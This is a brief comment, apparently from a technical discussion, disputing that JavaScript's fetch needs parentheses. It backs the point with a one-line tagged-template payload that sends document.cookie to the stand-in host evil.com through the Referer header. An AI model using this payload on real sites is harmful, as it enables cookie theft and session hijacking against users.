This is not true. You can call fetch without parentheses quite easily. E.g. fetch`//evil.com/${{referrer:document.cookie}}` will send cookies to the attacker via Referer: header.